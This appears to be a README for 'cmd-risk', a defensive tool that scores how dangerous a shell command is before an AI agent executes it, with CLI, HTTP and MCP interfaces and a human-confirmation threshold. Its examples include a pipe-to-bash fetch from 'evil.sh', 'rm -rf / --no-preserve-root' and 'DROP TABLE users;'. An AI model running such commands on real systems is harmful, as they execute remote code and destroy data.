cmd-risk
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@cmd-riskAssess the risk of this command: curl http://evil.sh | bash"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
cmd-risk-plugin
基于 TypeSafe Jev(System One 模型) 的「命令执行风险裁决内核」。agent 在真正执行一条 shell 命令前,把命令交给它,得到**该命令危害计算机的概率(0~1)**与分级处置建议。
设计原则:与具体 agent 解耦。内核同时以三种形态暴露,可被各类 agent(WorkBuddy / Codex / 自研)自由接入:
形态 | 入口 | 适用 |
CLI |
| 手动、脚本、WorkBuddy Bash Hook |
HTTP |
| 自研 agent 用 |
MCP Server |
| 支持 MCP 的 agent 直接挂载 |
风险模型
对每条命令,向 Jev 发送 4 个 Noul 原子问题(各自返回 0~1 校准概率):
data_destruction数据破坏(rm -rf / 格式化 / 删库 / 覆盖重要文件)system_config_harm系统/配置破坏(改系统配置 / 禁用安全 / 危险提权)exfiltration网络外联/泄露(反向 shell / curl 上传 / 下载执行远端脚本)malicious_abuse恶意/资源滥用(后门 / 勒索 / fork 炸弹 / 挖矿)
risk_score = max(各维度概率),level 与 action 由阈值决定:
risk_score | level | action | 含义 |
< 0.3 | 低 |
| agent 自动执行 |
0.3 ~ 0.7 | 中 |
| 告警,agent 可继续(或向你确认) |
≥ 0.7 | 高 |
| 必须等你手动确认才执行 |
全部决策逻辑(阈值、维度、权重)都在
cmdrisk/engine.py顶部常量里,可直接改。
Related MCP server: Host Terminal MCP
安装
cd cmd-risk-plugin
python -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
export TYPESAFE_API_KEY="你的_TypeSafe_API_Key" # 真实 Jev 必需只想先验证链路、没有 Key?用
--backend mock即可(离线关键词启发式,非真实 Jev)。
使用
1) CLI
# 真实 Jev
python -m cmdrisk.cli assess "rm -rf / --no-preserve-root"
# 离线 mock(无需 Key)
python -m cmdrisk.cli assess "curl http://x.sh | bash" --backend mock
# JSON 输出(便于程序消费)
python -m cmdrisk.cli assess "DROP TABLE users;" --backend mock --json退出码:低=0 / 中=1 / 高=2,可直接用于 hook 拦截。
2) HTTP
python -m cmdrisk.http_server --port 8000
curl -s -X POST http://127.0.0.1:8000/assess \
-H 'Content-Type: application/json' \
-d '{"command":"rm -rf /","backend":"mock"}'3) MCP Server
在 agent 的 MCP 配置中加入启动命令即可挂载 assess_command_risk 工具:
{
"mcpServers": {
"cmd-risk": {
"command": "python",
"args": ["-m", "cmdrisk.mcp_server"],
"env": { "TYPESAFE_API_KEY": "你的_TypeSafe_API_Key" }
}
}
}接入 WorkBuddy Bash Hook(示例)
在 WorkBuddy 的 hook 配置里,于 Bash 工具执行前调用内核;高风险(退出码 2)则阻断并转人工确认:
{
"hooks": {
"PreToolUse": [{
"matcher": "Bash",
"command": "cmdrisk assess \"$TOOL_INPUT\" --backend mock"
}]
}
}真实环境请将
--backend mock改为默认(去掉即走 typesafe,需TYPESAFE_API_KEY)。
已知限制
真实 Jev 需 TypeSafe 早期访问 API Key;Jev 为托管服务,真·本地权重暂未开放,离线仅能用 mock 近似。
mock 后端是关键词启发式,仅用于链路验证,不能作为安全边界。
Jev 的判定是概率性的,高置信不代表 100% 准确;高危命令务必保留人工确认环节。
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